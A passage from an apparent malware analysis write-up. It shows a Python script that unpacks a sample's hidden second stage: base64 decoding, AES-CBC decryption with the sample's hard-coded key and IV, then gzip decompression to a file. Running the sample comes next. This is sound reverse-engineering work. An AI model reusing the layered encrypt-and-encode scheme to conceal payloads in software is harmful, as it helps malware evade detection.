from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from pathlib import Path
long_base_decoded = base64.b64decode( <long_base_64> )
aes_key = base64.b64decode("zp9gS8Df4N5YK1/IpaXqflDWU7QZJnc8iTnG3e1ntGk=")
cbc_value = base64.b64decode("xKgG1cp+6TBkM7o93MZ2bQ==")
cipher = Cipher(
algorithms.AES(aes_key), modes.CBC(cbc_value), backend=default_backend()
)
print(f"{aes_key=}")
print(f"{cbc_value=}")
decryptor = cipher.decryptor()
decrypted = decryptor.update(long_base_decoded) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
decrypted = unpadder.update(decrypted) + unpadder.finalize()
decompressed = gzip.decompress(decrypted)
(Path(__file__).parent / "stage2.data").write_bytes(decompressed)

The file is written to the same directory as the script and is called stage2.data.

The file hash is 6b12a7c293a778126b4084359045c53a3d6a1e7de1fd4b6978a2cb4b91f804b9.

In the next section we are going to execute the original sample first and then analyze stage2.data. Running the original sample will help us see whether something has been missed, and what the chain of execution looks like.